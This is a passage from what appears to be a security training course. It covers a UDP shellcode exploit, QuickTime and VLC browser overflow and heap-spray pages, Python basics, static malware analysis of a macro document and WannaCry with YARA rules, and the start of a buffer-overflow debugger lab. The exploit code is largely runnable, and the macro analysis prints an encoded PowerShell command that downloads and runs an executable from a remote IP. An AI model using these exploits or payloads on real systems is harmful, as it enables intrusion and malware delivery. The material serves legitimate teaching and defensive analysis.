4555part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
4556
4557part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
4558part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
4559part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
4560part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
4561part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
4562part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
4563part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
4564part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
4565part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
4566part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
4567part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
4568
4569prepend = "\x81\xC4\xFF\xEF\xFF\xFF" # add esp, -1001h
4570prepend += "\x44" # inc esp
4571
4572buf = "\x00\x01" # receive command
4573
4574buf += "\x90" * (256 - len(part2)) # NOPs
4575buf += part2 # shellcode part 2
4576buf += struct.pack('<I', eip) # EIP (JMP ESP)
4577buf += prepend # stack shifter
4578buf += part1 # shellcode part 1
4579buf += "\xE9" + struct.pack('<i', -380) # JMP -380
4580buf += "\x00" # END
4581
4582# print buf
4583
4584# buf = "\x00\x01" # receive command
4585
4586# buf += "A" * 300 + "\x00"
4587
4588sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
4589
4590try:
4591 sock.connect((target, port))
4592 sock.sendall(buf)
4593except Exception as e:
4594 sys.stderr.write("Cannot send to "+str(target)+" : "+str(port)+" : "+str(e)+"!\n")
4595finally:
4596 sock.close()
4597 sys.stderr.write("Sent.\n")
4598
4599
4600
4601-----------------------------------------------------------------------------------------------------------------
4602
4603
4604
4605
4606How does all of this actually work
4607
4608
4609
4610
4611Total shellcode length: 315
4612
4613 Part1: 150
4614 Part2: 165
4615
4616
4617NOPS * (256 - 165)
4618
461991 NOPS + (165 bytes shellcode p2) + JMP ESP (4 bytes) + Stack Shift (-1000) + (150 bytes shellcode p1) + (neg jmp -380)
4620 | | |
4621 256 260 150 (410) |
4622 |<------------------------------------------------------------------------------------------------------------|
4623 Jump to the
4624 30 byte mark
4625
4626
4627
4628############################
4629# Lab 3: Browsers Exploits #
4630############################
4631
4632---------------------------Type This-----------------------------------
4633
4634cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab3\ffvlc_skeleton
4635-----------------------------------------------------------------------
4636
4637
4638Quicktime - overflow, if we send a very long rtsp:// URL, Quicktime crashes
4639rtsp://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......50000
4640
4641<object id=quicktime clsid="999-999999-99-99999">
4642 <param name="URL" value="rtsp://AAAAAAAAAAAAAAAAAAAAAAAAA....">
4643</object>
4644
4645var buf = "";
4646for(i = 0; i < 50000; i++)
4647 buf += "A";
4648var myobject = document.getElementById("quicktime");
4649myobject.url = buf;
4650
4651YOU CAN PRE-LOAD THE PROCESS MEMORY MORE OR LESS IN A WAY YOU LIKE BEFORE TRIGGERING THE EXPLOIT!!!!
4652
4653- Browsers (Flash)
4654- PDF
4655- MS Office / OOo
4656
4657VLC smb:// exploit
4658------------------
4659
4660EXPLOIT VECTOR
4661
4662smb://example.com@0.0.0.0/foo/#{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
4663
4664Exploit Scripts
4665- ffvlc
4666
4667ON YOUR HOST, RUN THE WEBSERVER ON PORT 8080
4668
4669---------------------------Type This-----------------------------------
4670
4671perl daemon.pl vlc0.html
4672-----------------------------------------------------------------------
4673
4674ON YOUR Strategicsec-XP-ED-Target-VM VM, START FIREFOX
4675Browse to http://your_host_ip_address:8080/
4676
4677vlc0.html
4678---------
4679<script>
4680 var buf = "";
4681 for(i = 0; i < 1250; i++)
4682 buf += unescape("%41%41%41%41");
4683 var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
4684 document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
4685</script>
4686
4687vlc1.html
4688---------
4689<script>
4690
4691 // shellcode created in heap memory
4692 var shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
4693
4694 // 800K block of NOPS
4695 var nop = unescape("%u9090%u09090"); // 4 NOPS
4696 while(nop.length < 0xc0000) {
4697 nop += nop;
4698 }
4699
4700 // spray the heap with NOP+shellcode
4701 var memory = new Array();
4702 for(i = 0; i < 50; i++) {
4703 memory[i] = nop + shellcode;
4704 }
4705
4706 // build the exploit payload
4707 var buf = "";
4708 for(i = 0; i < 1250; i++)
4709 buf += unescape("%41%41%41%41");
4710 var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
4711
4712 // trigger the exploit
4713 document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
4714</script>
4715
4716---------------------------Type This-----------------------------------
4717
4718perl daemon.pl vlc1.html
4719-----------------------------------------------------------------------
4720
4721Search for where our NOPS+shellcode lies in the heap
4722
4723s 0 l fffffff 90 90 90 90 cc cc cc cc
4724
47250:019> s 0 l fffffff 90 90 90 90 cc cc cc cc
472603dffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4727040ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4728043ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4729046ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4730049ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
473104cffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
473204fffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4733052ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4734055ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4735058ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
473605bffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
473705effffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4738061ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4739064ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4740067ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
474106affffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
4742
4743Edit vlc2.html
4744replace %41%41%41%41 with %07%07%07%07
4745
4746(928.fd0): Break instruction exception - code 80000003 (first chance)
4747eax=fffffd66 ebx=07070707 ecx=77c2c2e3 edx=00340000 esi=07070707 edi=07070707
4748eip=07100000 esp=0e7afc58 ebp=07070707 iopl=0 nv up ei pl nz ac pe nc
4749cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
475007100000 cc int 3
47510:019> u
475207100000 cc int 3
475307100001 cc int 3
475407100002 cc int 3
475507100003 cc int 3
475607100004 cc int 3
475707100005 cc int 3
475807100006 cc int 3
475907100007 cc int 3
4760
4761Create vlc3.html (Copy vlc2.html to vlc3.html)
4762----------------------------------------------
4763Win32 Reverse Shell
4764- no restricted characters
4765- Encoder NONE
4766- use the Javascript encoded payload generated by msfweb
4767
4768##########################
4769# Python Lambda Function #
4770##########################
4771
4772
4773Python allows you to create anonymous function i.e function having no names using a facility called lambda function.
4774
4775lambda functions are small functions usually not more than a line. It can have any number of arguments just like a normal function. The body of lambda functions is very small and consists of only one expression. The result of the expression is the value when the lambda is applied to an argument. Also there is no need for any return statement in lambda function.
4776
4777Let’s take an example:
4778
4779Consider a function multiply()
4780
4781def multiply(x, y):
4782 return x * y
4783
4784
4785This function is too small, so let’s convert it into a lambda function.
4786
4787To create a lambda function first write keyword lambda followed by one of more arguments separated by comma, followed by colon sign ( : ), followed by a single line expression.
4788
4789---------------------------Type This-----------------------------------
4790
4791>>> r = lambda x, y: x * y
4792>>> r(12,3)
479336
4794-----------------------------------------------------------------------
4795
4796Here we are using two arguments x and y , expression after colon is the body of the lambda function. As you can see lambda function has no name and is called through the variable it is assigned to.
4797
4798You don’t need to assign lambda function to a variable.
4799
4800---------------------------Type This-----------------------------------
4801
4802>>> (lambda x, y: x * y)(3,4)
480312
4804-----------------------------------------------------------------------
4805
4806Note that lambda function can’t contain more than one expression.
4807
4808
4809
4810##################
4811# Python Classes #
4812##################
4813
4814
4815****************
4816* Introduction *
4817****************
4818
4819Classes are the cornerstone of Object Oriented Programming. They are the blueprints used to create objects. And, as the name suggests, all of Object Oriented Programming centers around the use of objects to build programs.
4820
4821You don't write objects, not really. They are created, or instantiated, in a program using a class as their basis. So, you design objects by writing classes. That means that the most important part of understanding Object Oriented Programming is understanding what classes are and how they work.
4822
4823
4824***********************
4825* Real World Examples *
4826***********************
4827
4828
4829This next part if going to get abstract. You can think of objects in programming just like objects in the real world. Classes are then the way you would describe those objects and the plans for what they can do.
4830
4831Start off by thinking about a web vuln scanner.
4832
4833What about what they can do? Nearly every web vuln scanner can do the same basic things, but they just might do them differently or at different speeds. You could then describe the actions that a vuln scanner can perform using functions. In Object Oriented Programming, though, functions are called methods.
4834
4835So, if you were looking to use "vuln scanner" objects in your program, you would create a "vuln scanner" class to serve as a blueprint with all of the variables that you would want to hold information about your "vuln scanner" objects and all of the methods to describe what you would like your vuln scanner to be able to do.
4836
4837
4838******************
4839* A Python Class *
4840******************
4841
4842
4843Now that you have a general idea of what a class is, it's best to take a look at a real Python class and study how it is structured.
4844
4845---------------------------Paste This-----------------------------------
4846
4847class WebVulnScanner(object):
4848 make = 'Acunetix'
4849 model = '10.5'
4850 year = '2014'
4851 version ='Consultant Edition'
4852
4853 profile = 'High Risk'
4854
4855
4856 def crawling(self, speed):
4857 print("Crawling at %s" % speed)
4858
4859
4860 def scanning(self, speed):
4861 print("Scanning at %s" % speed)
4862-----------------------------------------------------------------------
4863
4864
4865Creating a class looks a lot like creating a function. Instead of def you use the keyword, class. Then, you give it a name, just like you would a function. It also has parenthesis like a function, but they don't work the way you think. For a class the parenthesis allow it to extend an existing class. Don't worry about this right now, just understand that you have to put object there because it's the base of all other classes.
4866
4867From there, you can see a bunch of familiar things that you'd see floating around any Python program, variables and functions. There are a series of variables with information about the scanner and a couple of methods(functions) describing what the scanner can do. You can see that each of the methods takes two parameters, self and speed. You can see that "speed" is used in the methods to print out how fast the scanner is scanning, but "self" is different.
4868
4869
4870*****************
4871* What is Self? *
4872*****************
4873
4874Alright, so "self" is the biggest quirk in the way that Python handles Object Oriented Programming. In most languages, classes and objects are just aware of their variables in their methods. Python needs to be told to remember them. When you pass "self" to a method, you are essentially passing that object to its method to remind it of all of the variables and other methods in that object. You also need to use it when using variables in methods. For example, if you wanted to output the model of the scanner along with the speed, it looks like this.
4875
4876---------------------------Type This-----------------------------------
4877
4878print("Your %s is crawling at %s" % (self.model, speed))
4879-----------------------------------------------------------------------
4880
4881It's awkward and odd, but it works, and it's really not worth worrying about. Just remember to include "self" as the first parameter of your methods and "self." in front of your variables, and you'll be alright.
4882
4883
4884*****************
4885* Using A Class *
4886*****************
4887
4888
4889You're ready to start using the WebVulnScanner class. Create a new Python file and paste the class in. Below, you can create an object using it. Creating, or instantiating, an object in Python looks like the line below.
4890---------------------------Type This-----------------------------------
4891
4892myscanner = WebVulnScanner()
4893-----------------------------------------------------------------------
4894
4895
4896That's it. To create a new object, you just have to make a new variable and set it equal to class that you are basing your object on.
4897
4898Get your scanner object to print out its make and model.
4899---------------------------Type This-----------------------------------
4900
4901print("%s %s" % (myscanner.make, myscanner.model))
4902-----------------------------------------------------------------------
4903
4904The use of a . between an object and its internal components is called the dot notation. It's very common in OOP. It works for methods the same way it does for variables.
4905---------------------------Type This-----------------------------------
4906
4907myscanner.scanning('10req/sec')
4908-----------------------------------------------------------------------
4909
4910What if you want to change the profile of your scanning? You can definitely do that too, and it works just like changing the value of any other variable. Try printing out the profile of your scanner first. Then, change the profile, and print it out again.
4911---------------------------Type This-----------------------------------
4912
4913print("The profile of my scanner settings is %s" % myscanner.profile)
4914myscanner.profile = "default"
4915print("The profile of my scanner settings is %s" % myscanner.profile)
4916-----------------------------------------------------------------------
4917
4918Your scanner settings are default now. What about a new WebVulnScanner? If you made a new scanner object, would the scanning profile be default? Give it a shot.
4919---------------------------Type This-----------------------------------
4920
4921mynewscanner = WebVulnScanner()
4922print("The scanning profile of my new scanner is %s" % mynewscanner.profile)
4923-----------------------------------------------------------------------
4924
4925That one's high risk. New objects are copied from the class, and the class still says that the profile is high risk. Objects exist in the computer's memory while a program is running. When you change the values within an object, they are specific to that object as it exists in memory. The changes won't persist once the program stops and won't change the class that it was created from.
4926
4927
4928#########################################
4929# The self variable in python explained #
4930#########################################
4931
4932So lets start by making a class involving the self variable.
4933
4934A simple class :
4935
4936So here is our class:
4937---------------------------Paste This-----------------------------------
4938
4939class port(object):
4940 open = False
4941 def open_port(self):
4942 if not self.open:
4943 print("port open")
4944
4945-----------------------------------------------------------------------
4946
4947First let me explain the above code without the technicalities. First of all we make a class port. Then we assign it a property “open†which is currently false. After that we assign it a function open_port which can only occur if “open†is False which means that the port is open.
4948
4949Making a Port:
4950
4951Now that we have made a class for a Port, lets actually make a port:
4952---------------------------Type This-----------------------------------
4953
4954x = port()
4955-----------------------------------------------------------------------
4956
4957Now x is a port which has a property open and a function open_port. Now we can access the property open by typing:
4958---------------------------Type This-----------------------------------
4959
4960x.open
4961-----------------------------------------------------------------------
4962
4963The above command is same as:
4964---------------------------Type This-----------------------------------
4965
4966port().open
4967-----------------------------------------------------------------------
4968
4969Now you can see that self refers to the bound variable or object. In the first case it was x because we had assigned the port class to x whereas in the second case it referred to port(). Now if we have another port y, self will know to access the open value of y and not x. For example check this example:
4970---------------------------Type This-----------------------------------
4971
4972>>> x = port()
4973>>> x.open
4974False
4975>>> y = port()
4976>>> y.open = True
4977>>> y.open
4978True
4979>>> x.open
4980False
4981
4982-----------------------------------------------------------------------
4983The first argument of every class method, including init, is always a reference to the current instance of the class. By convention, this argument is always named self. In the init method, self refers to the newly created object; in other class methods, it refers to the instance whose method was called. For example the below code is the same as the above code.
4984
4985---------------------------Paste This-----------------------------------
4986
4987class port(object):
4988 open = False
4989 def open_port(this):
4990 if not this.open:
4991 print("port open")
4992
4993-----------------------------------------------------------------------
4994
4995
4996
4997
4998
4999
5000##################################
5001# Day 3 Homework videos to watch #
5002##################################
5003Here is your first set of youtube videos that I'd like for you to watch:
5004https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 21-30)
5005
5006
5007
5008
5009
5010
5011
5012
5013
5014
5015
5016
5017 #######################################
5018----------- ############### # Day 4: Malware analysis with Python # ############### -----------
5019 #######################################
5020
5021
5022###############################
5023# Lesson 28: Malware Analysis #
5024###############################
5025
5026
5027
5028
5029################
5030# The Scenario #
5031################
5032You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
5033
5034
5035The fastest thing you can do is perform static analysis.
5036---------------------------Type This-----------------------------------
5037
5038sudo pip install olefile
5039 infosecaddicts
5040
5041mkdir ~/Desktop/oledump
5042
5043cd ~/Desktop/oledump
5044
5045wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
5046
5047unzip oledump_V0_0_22.zip
5048
5049wget https://s3.amazonaws.com/infosecaddictsfiles/064016.zip
5050
5051unzip 064016.zip
5052 infected
5053
5054python oledump.py 064016.doc
5055
5056python oledump.py 064016.doc -s A4 -v
5057-----------------------------------------------------------------------
5058
5059- From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
5060- Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
5061
5062---------------------------Type This-----------------------------------
5063
5064python oledump.py 064016.doc -s A5 -v
5065-----------------------------------------------------------------------
5066
5067- As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
5068
5069---------------------------Type This-----------------------------------
5070
5071python oledump.py 064016.doc -s A3 -v
5072 -----------------------------------------------------------------------
5073
5074- Look for "GVhkjbjv" and you should see:
5075
5076636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
5077
5078- Take that long blob that starts with 636D and finishes with 653B and paste it in:
5079http://www.rapidtables.com/convert/number/hex-to-ascii.htm
5080
5081
5082
5083###################
5084# Static Analysis #
5085###################
5086
5087- After logging please open a terminal window and type the following commands:
5088---------------------------Type This-----------------------------------
5089
5090cd Desktop/
5091
5092wget https://s3.amazonaws.com/infosecaddictsfiles/wannacry.zip
5093
5094unzip wannacry.zip
5095 infected
5096
5097file wannacry.exe
5098
5099mv wannacry.exe malware.pdf
5100
5101file malware.pdf
5102
5103mv malware.pdf wannacry.exe
5104
5105hexdump -n 2 -C wannacry.exe
5106
5107-----------------------------------------------------------------------
5108
5109
5110
5111***What is '4d 5a' or 'MZ'***
5112Reference:
5113http://www.garykessler.net/library/file_sigs.html
5114
5115
5116
5117---------------------------Type This-----------------------------------
5118
5119
5120objdump -x wannacry.exe
5121
5122strings wannacry.exe
5123
5124strings --all wannacry.exe | head -n 6
5125
5126strings wannacry.exe | grep -i dll
5127
5128strings wannacry.exe | grep -i library
5129
5130strings wannacry.exe | grep -i reg
5131
5132strings wannacry.exe | grep -i key
5133
5134strings wannacry.exe | grep -i rsa
5135
5136strings wannacry.exe | grep -i open
5137
5138strings wannacry.exe | grep -i get
5139
5140strings wannacry.exe | grep -i mutex
5141
5142strings wannacry.exe | grep -i irc
5143
5144strings wannacry.exe | grep -i join
5145
5146strings wannacry.exe | grep -i admin
5147
5148strings wannacry.exe | grep -i list
5149
5150
5151
5152-----------------------------------------------------------------------
5153
5154
5155
5156
5157
5158
5159
5160
5161Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
5162
5163Quick Google search for "wannacry ransomeware analysis"
5164
5165
5166Reference
5167https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
5168
5169- Yara Rule -
5170
5171
5172Strings:
5173$s1 = “Ooops, your files have been encrypted!†wide ascii nocase
5174$s2 = “Wanna Decryptor†wide ascii nocase
5175$s3 = “.wcry†wide ascii nocase
5176$s4 = “WANNACRY†wide ascii nocase
5177$s5 = “WANACRY!†wide ascii nocase
5178$s7 = “icacls . /grant Everyone:F /T /C /Q†wide ascii nocase
5179
5180
5181
5182
5183
5184
5185
5186
5187Ok, let's look for the individual strings
5188
5189---------------------------Type This-----------------------------------
5190
5191
5192strings wannacry.exe | grep -i ooops
5193
5194strings wannacry.exe | grep -i wanna
5195
5196strings wannacry.exe | grep -i wcry
5197
5198strings wannacry.exe | grep -i wannacry
5199
5200strings wannacry.exe | grep -i wanacry **** Matches $s5, hmmm.....
5201
5202
5203-----------------------------------------------------------------------
5204
5205
5206
5207
5208
5209####################################
5210# Tired of GREP - let's try Python #
5211####################################
5212Decided to make my own script for this kind of stuff in the future. I
5213
5214Reference1:
5215https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py
5216
5217This is a really good script for the basics of static analysis
5218
5219Reference:
5220https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
5221
5222
5223This is really good for showing some good signatures to add to the Python script
5224
5225
5226Here is my own script using the signatures (started this yesterday, but still needs work):
5227https://pastebin.com/guxzCBmP
5228
5229
5230---------------------------Type This-----------------------------------
5231
5232
5233sudo apt install -y python-pefile
5234 infosecaddicts
5235
5236
5237
5238wget https://pastebin.com/raw/guxzCBmP
5239
5240
5241mv guxzCBmP am.py
5242
5243
5244vi am.py
5245
5246python am.py wannacry.exe
5247
5248
5249-----------------------------------------------------------------------
5250
5251
5252
5253
5254
5255
5256
5257
5258##############
5259# Yara Ninja #
5260##############
5261 ---------------------------Type This-----------------------------------
5262
5263cd ~/Desktop
5264
5265sudo apt-get remove -y yara
5266 infosecaddcits
5267
5268sudo apt -y install libtool
5269 infosecaddicts
5270
5271wget https://github.com/VirusTotal/yara/archive/v3.6.0.zip
5272
5273
5274unzip v3.6.0.zip
5275
5276cd yara-3.6.0
5277
5278./bootstrap.sh
5279
5280./configure
5281
5282make
5283
5284sudo make install
5285 infosecaddicts
5286
5287yara -v
5288
5289cd ~/Desktop
5290
5291
5292-----------------------------------------------------------------------
5293
5294
5295NOTE:
5296McAfee is giving these yara rules - so add them to the hashes.txt file
5297
5298Reference:
5299https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
5300
5301----------------------------------------------------------------------------
5302rule wannacry_1 : ransom
5303{
5304 meta:
5305 author = "Joshua Cannell"
5306 description = "WannaCry Ransomware strings"
5307 weight = 100
5308 date = "2017-05-12"
5309
5310 strings:
5311 $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
5312 $s2 = "Wanna Decryptor" wide ascii nocase
5313 $s3 = ".wcry" wide ascii nocase
5314 $s4 = "WANNACRY" wide ascii nocase
5315 $s5 = "WANACRY!" wide ascii nocase
5316 $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
5317
5318 condition:
5319 any of them
5320}
5321
5322----------------------------------------------------------------------------
5323rule wannacry_2{
5324 meta:
5325 author = "Harold Ogden"
5326 description = "WannaCry Ransomware Strings"
5327 date = "2017-05-12"
5328 weight = 100
5329
5330 strings:
5331 $string1 = "msg/m_bulgarian.wnry"
5332 $string2 = "msg/m_chinese (simplified).wnry"
5333 $string3 = "msg/m_chinese (traditional).wnry"
5334 $string4 = "msg/m_croatian.wnry"
5335 $string5 = "msg/m_czech.wnry"
5336 $string6 = "msg/m_danish.wnry"
5337 $string7 = "msg/m_dutch.wnry"
5338 $string8 = "msg/m_english.wnry"
5339 $string9 = "msg/m_filipino.wnry"
5340 $string10 = "msg/m_finnish.wnry"
5341 $string11 = "msg/m_french.wnry"
5342 $string12 = "msg/m_german.wnry"
5343 $string13 = "msg/m_greek.wnry"
5344 $string14 = "msg/m_indonesian.wnry"
5345 $string15 = "msg/m_italian.wnry"
5346 $string16 = "msg/m_japanese.wnry"
5347 $string17 = "msg/m_korean.wnry"
5348 $string18 = "msg/m_latvian.wnry"
5349 $string19 = "msg/m_norwegian.wnry"
5350 $string20 = "msg/m_polish.wnry"
5351 $string21 = "msg/m_portuguese.wnry"
5352 $string22 = "msg/m_romanian.wnry"
5353 $string23 = "msg/m_russian.wnry"
5354 $string24 = "msg/m_slovak.wnry"
5355 $string25 = "msg/m_spanish.wnry"
5356 $string26 = "msg/m_swedish.wnry"
5357 $string27 = "msg/m_turkish.wnry"
5358 $string28 = "msg/m_vietnamese.wnry"
5359
5360
5361 condition:
5362 any of ($string*)
5363}
5364----------------------------------------------------------------------------
5365
5366
5367#######################
5368# External DB Lookups #
5369#######################
5370
5371Creating a malware database (sqlite)
5372---------------------------Type This-----------------------------------
5373
5374sudo apt install -y python-simplejson python-simplejson-dbg
5375 infosecaddicts
5376
5377
5378
5379wget https://raw.githubusercontent.com/mboman/mart/master/bin/avsubmit.py
5380
5381
5382
5383python avsubmit.py -f wannacry.exe -e
5384
5385----------------------------------------------------------------------------
5386
5387Analysis of the file can be found at:
5388http://www.threatexpert.com/report.aspx?md5=84c82835a5d21bbcf75a61706d8ab549
5389
5390
5391
5392
5393
5394
5395
5396
5397
5398###############################
5399# Creating a Malware Database #
5400###############################
5401Creating a malware database (mysql)
5402-----------------------------------
5403- Step 1: Installing MySQL database
5404- Run the following command in the terminal:
5405---------------------------Type This-----------------------------------
5406
5407sudo apt install -y mysql-server
5408 infosecaddicts
5409
5410- Step 2: Installing Python MySQLdb module
5411- Run the following command in the terminal:
5412
5413sudo apt-get build-dep python-mysqldb
5414 infosecaddicts
5415
5416sudo apt install -y python-mysqldb
5417 infosecaddicts
5418
5419Step 3: Logging in
5420Run the following command in the terminal:
5421
5422mysql -u root -p (set a password of 'malware')
5423
5424- Then create one database by running following command:
5425
5426create database malware;
5427
5428exit;
5429
5430wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
5431
5432vi mal_to_db.py (fill in database connection information)
5433
5434python mal_to_db.py -i
5435
5436------- check it to see if the files table was created ------
5437
5438mysql -u root -p
5439 malware
5440
5441show databases;
5442
5443use malware;
5444
5445show tables;
5446
5447describe files;
5448
5449exit;
5450
5451-----------------------------------------------------------------------
5452
5453
5454- Now add the malicious file to the DB
5455---------------------------Type This-----------------------------------
5456
5457
5458python mal_to_db.py -f wannacry.exe -u
5459
5460-----------------------------------------------------------------------
5461
5462
5463- Now check to see if it is in the DB
5464--------------------------Type This-----------------------------------
5465
5466mysql -u root -p
5467 malware
5468
5469mysql> use malware;
5470
5471select id,md5,sha1,sha256,time FROM files;
5472
5473mysql> quit;
5474
5475-----------------------------------------------------------------------
5476
5477
5478
5479######################################
5480# PCAP Analysis with forensicPCAP.py #
5481######################################
5482---------------------------Type This-----------------------------------
5483
5484cd ~/Desktop
5485wget https://raw.githubusercontent.com/madpowah/ForensicPCAP/master/forensicPCAP.py
5486sudo easy_install cmd2
5487
5488python forensicPCAP.py Browser\ Forensics/suspicious-time.pcap
5489
5490ForPCAP >>> help
5491
5492
5493Prints stats about PCAP
5494ForPCAP >>> stat
5495
5496
5497Prints all DNS requests from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
5498ForPCAP >>> dns
5499
5500ForPCAP >>> show
5501
5502
5503Prints all destination ports from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
5504ForPCAP >>> dstports
5505
5506ForPCAP >>> show
5507
5508
5509Prints the number of ip source and store them.
5510ForPCAP >>> ipsrc
5511
5512
5513Prints the number of web's requests and store them
5514ForPCAP >>> web
5515
5516
5517Prints the number of mail's requests and store them
5518ForPCAP >>> mail
5519
5520-----------------------------------------------------------------------
5521
5522
5523
5524
5525
5526
5527##################################
5528# Day 4 Homework videos to watch #
5529##################################
5530Here is your first set of youtube videos that I'd like for you to watch:
5531https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 31-40)
5532
5533
5534
5535
5536
5537
5538
5539
5540
5541
5542 ##########################################
5543----------- ############### # Day 4: Debugger automation with Python # ############### -----------
5544 ##########################################
5545
5546In this lab we are going to exploit the bufferoverflow in the program which is a simple tcp server using the strcpy in its code. Download the server's .exe file from here http://code.securitytube.net/Server-Strcpy.exe
5547
5548Run the server on windows machine.
5549
5550Connect to the server from an ubuntu machine using nc <ip-adress of windows> 10000. Send some character from there and see if it returns the same.
5551
5552
5553
5554It's a simple echo server. Reflects whatever you type in the input we send to this program, is stored using strcpy. Let us write a simple python program that sends a large input to the program and see if it can handle large inputs.
5555---------------------------Type This-----------------------------------
5556
5557vim strcpy.py
5558
5559./strcpy <server adress>
5560
5561-----------------------------------------------------------------------
5562
5563
5564On the server machine see if the server crashes and what error it shows.
5565
5566Now let's find out what happens behind the scenes when you run the python script against your echo server. When you do not have the source code of the program that you need to debug, the only way to do so is to take the binary, disassemble and debug it to actually see what is happening. The immunity debugger is the tool which does all that.
5567
5568Open the server.exe file in immunity debugger. It will show information about the binary in different sections including Registers [EIP, ESP, EBP, etc], the machine language equivalent and addresses of the binary with their values.
5569
5570Now press the run button and the binary will be in the “Running†state. Execute the strcpy.py script as done previously. The binary will crash again and immunity debugger will show it in “Paused†State. It will also show the stack with its values and ASCII equivalent which is seen as “AAAA...†as all the characters sent from the script are As, as shown in the figure below.
5571
5572
5573We can also write python scripts using the python shell provided by the Immunity Debugger. The scripts we write here need to be placed in “C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands†directory, which will be automatically made available to immunity debugger at run-time.
5574
5575
5576Now open the python shell, Create “New Window†and save it as spse-demo in the PyCommands directory mentioned above.
5577
5578
5579
